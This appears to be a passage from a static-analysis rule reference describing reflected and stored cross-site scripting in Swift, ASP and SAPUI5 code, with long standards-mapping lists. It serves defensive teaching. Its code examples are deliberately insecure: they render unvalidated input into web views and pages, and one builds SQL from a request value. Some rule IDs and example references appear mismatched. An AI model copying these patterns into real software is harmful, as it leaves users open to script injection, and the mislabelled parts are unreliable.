[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_reflected
Abstract
The method sends unvalidated data to a web browser which can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web page through an untrusted source. In the case of reflected XSS, the untrusted source is typically through user components, URL scheme handlers, or notifications, while in the case of Persistent (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a WKWebView component without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code reads the contents of a UITextField and displays it to the user within a WKWebView:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


The code in this example operates without issues if the text within inputTextField contains only standard alphanumeric text. If the text within inputTextField includes metacharacters or source code, then the input may be executed as code by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone provide input that can cause malicious code to run on their own device? The real danger is that an attacker may use email or social engineering tricks to lure victims into performing such actions. When this is successful, the victims unwittingly reflect the malicious content through the vulnerable web application back to their own devices. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Swift code segment reads the text portion of a custom URL scheme which was passed to and invoked the application (myapp://input_to_the_application). The untrusted data in the URL is then used to render HTML output in a UIWebView component.


func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}


As in Example 2, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in HTTP content. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from a user-controllable UI component and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, a source outside the target application makes a URL request using the target application's custom URL scheme, and unvalidated data from the URL request subsequently read back into the application as trusted data and included in dynamic content.

- As in Example 3, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ASP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.vb.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In SAPUI5, you can create custom controls by extending others. Because these controls are intended for generic use, the developer should expect that user-controlled data is passed to one of its attributes.


2. The data is included in dynamic content that is sent to a web user without validation. In the case of an SAPUI5 control, malicious content is rendered as part of the control.

The malicious content in an SAPUI5 control takes the form of a JavaScript segment, or any other type of code that the browser executes. As SAPUI5 controls are supposed to be generically re-used over and over, an instance of an application might not directly pass malicious data to the control, but this should be treated the same as a standard DOM-based XSS weakness. A trivial change to the application code could lead to malicious information being passed. The only exception is when the control dynamically generates HTML unsafely, such as the sap.ui.core.HTML control's content property.

Example 1: Consider the custom control:


sap.ui.define([
'sap/ui/core/Control'
], function (Control) {
return Control.extend('CustomControl', {
metadata: {
properties: {
foo: { type: 'string', defaultValue: '' }
}
},
renderer: {
render: function (oRm, oControl) {
oRm.write('<div>' + oControl.getId() + ':' + oControl.getFoo() + '</div>')
}
},
init: function () { }
})
})


The foo attribute may be passed user-controlled data from another part of the application which would be rendered directly to the DOM.

This code example operates correctly if the information passed to the attribute foo contains only standard alphanumeric text. If foo has a value that includes metacharacters or source code, then when this control is rendered, the code is added to the DOM for the browser to execute.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Cross-Site Scripting in SAPUI5-based Web Applications SAP
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
